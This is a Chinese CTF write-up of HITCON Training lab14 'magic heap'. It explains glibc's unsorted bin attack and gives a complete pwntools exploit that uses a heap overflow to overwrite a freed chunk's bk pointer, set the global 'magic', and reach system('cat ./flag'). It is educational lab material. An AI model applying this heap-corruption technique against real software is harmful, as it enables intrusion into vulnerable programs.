[Unsorted bin attack] lab14 magic heap

0x00 前言

本文是根据CTF-WIKIUnsorted bin attack相关内容来写的,用来巩固一下相关知识,并以一道例题练手。

题目是HITCON Training lab14 magic heap:下载地址

参考链接:

CTF-WIKI

某位师傅的博客

0x01 知识回顾

利用前提:能够控制 Unsorted Bin Chunk 的 bk 指针。

利用效果:可以达到的效果是实现修改任意地址值为一个较大的数值。

Unsorted bin 基本来源

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
  3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

Unsorted bin 使用情况

  1. Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取
  2. 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。具体可以看下面的补充

在malloc的时候,如果是在libc版本<2.26的情况下,如果在fastbin,small bin中找不到对应大小的chunk时,会尝试在Unsorted Bin中遍历,在这个过程中,如果找到对应大小的chunk,则会直接返回给用户。否则会将这些chunk插入对应的bin中;在libc2.26之后,引入tcache内存管理机制,如果申请的chunk的大小不在fastbin范围内,并且在tcache中找不到对应大小的堆块,会尝试在Unsorted Bin中寻找,在遍历的过程中,就算找到符合大小的堆块也不会立即返回。会将找到的符合的chunk放入对应tcache bin中直到bin中chunk的个数达到上限7,或者Unsorted Bin遍历结束。在Unsorted Bin遍历结束之后会,若之前找到至少一个符合大小的chunk,返回tcache bin中的最后一个,否则返回null。

注意这里,是插入到unsorted bin的头部,然后取的时候从链表尾取出,这里可以联系一下数据结构中带头节点的链表,应该对理解这一块有帮助。头结点其实就相当于unsorted_chunks(av)

原理

原理部分在CTF-WIKI里有相当详细的讲解。

最核心的部分应该是这四行以及修改p的bk指针为目的地址target-0x10(64位是-0x10,32位-0x08)

  • victim = unsorted_chunks(av)->bk=p
  • bck = victim->bk=p->bk = target addr-16
  • unsorted_chunks(av)->bk = bck=target addr-16
  • bck->fd = *(target addr -16+16) = unsorted_chunks(av);

这样也就将*target 的值修改为了unsorted bin 链表的头结点的地址了,这个地址往往是非常大的一个正数。

利用场景

  • 我们通过修改循环的次数来使得程序可以执行多次循环。
  • 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些 fast bin attack 了。

0x02 题目分析

这是一道很简单很适合练习Unsorted bin attack的题目

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

题目提供了四个功能

1
2
3
4
1. Create a Heap               
2. Edit a Heap
3. Delete a Heap
4. Exit

漏洞点在edit_heap里面,这个函数能够实现任意字节的堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
if ( choice == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
1
2
3
4
int l33t()
{
return system("cat ./flag");
}

可以看到,如果我们的choice输入4869,程序会判断magic的大小是否小于等于0x1305,如果不小于,则执行l33t函数,这个函数能够cat flag。

思路

程序特别简单,我们只需要让magic大于0x1305就好,而我们的unsorted bin attack就能实现这个目的。

创建3个chunk (其中chunk2是为了让chunk1与top chunk隔开),delete掉chunk1,然后edit chunk0,通过堆溢出覆盖掉chunk1的bk,让bk为magic的地址-0x10,然后重新创建一个和chunk1大小一样的chunk。然后向程序输入4869、交互即可得到flag。

0x03 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

c = process('./magicheap')

def create(size,cont):
c.recvuntil('Your choice :')
c.sendline('1')
c.recvuntil('Size of Heap : ')
c.sendline(str(size))
c.recvuntil('Content of heap:')
c.send(cont)

def edit(idx,size,cont):
c.recvuntil('Your choice :')
c.sendline('2')
c.recvuntil('Index :')
c.sendline(str(idx))
c.recvuntil('Size of Heap : ')
c.sendline(str(size))
c.recvuntil('Content of heap : ')
c.send(cont)

def delete(idx):
c.recvuntil('Your choice :')
c.sendline('3')
c.recvuntil('Index :')
c.sendline(str(idx))

magic = 0x6020C0

create(0x20,'aaaa')
create(0x80,'bbbb')# this size should not be in fastbins
create(0x20,'cccc')

delete(1)
fd = 0
bk = magic - 0x10
payload = 'a'*0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk)
edit(0,0x100,payload)

create(0x80,'aaaa')

c.recvuntil('Your choice :')
c.sendline('4869')

c.interactive()